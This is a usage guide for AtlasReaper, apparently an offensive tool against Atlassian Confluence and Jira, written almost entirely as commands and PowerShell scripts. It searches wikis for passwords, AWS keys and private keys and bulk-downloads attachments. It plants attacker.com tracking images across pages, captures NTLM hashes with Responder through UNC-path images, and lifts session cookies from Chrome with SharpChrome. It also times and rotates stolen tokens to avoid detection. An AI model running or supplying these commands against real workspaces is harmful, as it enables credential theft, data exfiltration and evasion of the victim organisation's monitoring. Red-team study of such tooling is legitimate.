Usage Guide

# Display general help
AtlasReaper.exe help

# Get help for specific command
AtlasReaper.exe confluence -h
AtlasReaper.exe jira --help

# Get help for specific subcommand
AtlasReaper.exe confluence search --help
AtlasReaper.exe jira createissue -h

# Test without cookie
AtlasReaper.exe confluence listspaces --url https://company.atlassian.net

# If successful, anonymous access is enabled
AtlasReaper.exe jira listprojects --url https://company.atlassian.net

# Search for URLs containing example.com
AtlasReaper.exe confluence search --query "http*example.com*" --url $url --cookie $cookie

# Search for credentials with various formats
AtlasReaper.exe confluence search --query "*password*" --url $url --cookie $cookie

# Search for AWS keys
AtlasReaper.exe confluence search --query "AKIA*" --url $url --cookie $cookie

# Search for private keys
AtlasReaper.exe confluence search --query "*BEGIN*PRIVATE*KEY*" --url $url --cookie $cookie

# Download all attachments from a page
$pageId = "12345"
$attachments = AtlasReaper.exe confluence listattachments --page-id $pageId --url $url --cookie $cookie | ConvertFrom-Json

foreach ($attachment in $attachments) {
    AtlasReaper.exe confluence download `
        --attachment-id $attachment.id `
        --output "C:\downloads\$($attachment.title)" `
        --url $url --cookie $cookie
}

# Embed tracking pixels on all pages in a space
$pages = AtlasReaper.exe confluence listpages --space-key "DOCS" --url $url --cookie $cookie | ConvertFrom-Json

foreach ($page in $pages) {
    AtlasReaper.exe confluence embed `
        --page-id $page.id `
        --image-url "http://attacker.com/track_$($page.id).png" `
        --url $url --cookie $cookie
}

# Automated reconnaissance script
param(
    [string]$url,
    [string]$cookie
)

$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$outputDir = "recon_$timestamp"
New-Item -ItemType Directory -Path $outputDir | Out-Null

Write-Host "[*] Starting AtlasReaper reconnaissance..."

# Confluence enumeration
Write-Host "[*] Enumerating Confluence spaces..."
AtlasReaper.exe confluence listspaces --url $url --cookie $cookie |
    Out-File "$outputDir\confluence_spaces.json"

Write-Host "[*] Searching for sensitive data..."
@("password*", "api*key*", "secret*", "*credentials*") | ForEach-Object {
    $query = $_
    Write-Host "[*] Searching for: $query"
    AtlasReaper.exe confluence search --query $query --url $url --cookie $cookie |
        Out-File "$outputDir\search_$query.json"
}

# Jira enumeration
Write-Host "[*] Enumerating Jira projects..."
AtlasReaper.exe jira listprojects --url $url --cookie $cookie |
    Out-File "$outputDir\jira_projects.json"

Write-Host "[*] Enumerating users..."
AtlasReaper.exe jira listusers --url $url --cookie $cookie |
    Out-File "$outputDir\jira_users.json"

Write-Host "[+] Reconnaissance complete! Results in $outputDir"

# Space out requests to avoid detection
Start-Sleep -Seconds 5

# Randomize timing
Start-Sleep -Seconds (Get-Random -Minimum 3 -Maximum 10)

# Limit concurrent operations
$throttle = 3  # Max 3 concurrent requests

# Rotate between multiple session tokens if available
$tokens = @(
    "cloud.session.token=eyJhbGc...",
    "cloud.session.token=eyJhbGd...",
    "cloud.session.token=eyJhbGR..."
)

$currentToken = $tokens | Get-Random

AtlasReaper.exe confluence search --query "password*" --url $url --cookie $currentToken

# Document embedded images for later removal
$embeddings = @()

# Track each embedding
$result = AtlasReaper.exe confluence embed --page-id "12345" --image-url "http://attacker.com/img.png" --url $url --cookie $cookie
$embeddings += @{PageId="12345"; ImageUrl="http://attacker.com/img.png"}

# After operation, remove traces (manual cleanup required via web interface)

# Parse JSON output
$spaces = AtlasReaper.exe confluence listspaces --url $url --cookie $cookie | ConvertFrom-Json

foreach ($space in $spaces) {
    Write-Host "Space: $($space.name) - Key: $($space.key)"
}

# Use jq for parsing in Linux
AtlasReaper.exe jira listprojects --url $url --cookie $cookie | jq '.[] | {name: .name, key: .key}'

# Terminal 1: Start Responder
sudo responder -I eth0 -wrf

# Terminal 2: Embed tracking images
AtlasReaper.exe confluence embed \
    --page-id "12345" \
    --image-url "//192.168.1.100/share/image.png" \
    --url $url --cookie $cookie

# Monitor Terminal 1 for captured NTLM hashes

# Extract cookies
SharpChrome.exe cookies /showall | Select-String -Pattern "cloud.session.token|tenant.session.token"

# Use extracted token
$cookie = "cloud.session.token=<extracted_value>"
AtlasReaper.exe confluence listspaces --url $url --cookie $cookie

# 1. Test access
AtlasReaper.exe confluence listspaces --url $url

# 2. Enumerate resources
AtlasReaper.exe confluence listspaces --url $url --cookie $cookie
AtlasReaper.exe jira listprojects --url $url --cookie $cookie

# 3. Search for sensitive data
AtlasReaper.exe confluence search --query "password*" --url $url --cookie $cookie
AtlasReaper.exe confluence search --query "*api*key*" --url $url --cookie $cookie

# 4. Enumerate users
AtlasReaper.exe jira listusers --url $url --cookie $cookie

# 5. Download valuable attachments
AtlasReaper.exe confluence listattachments --page-id "..." --url $url --cookie $cookie
AtlasReaper.exe confluence download --attachment-id "..." --output "file.pdf" --url $url --cookie $cookie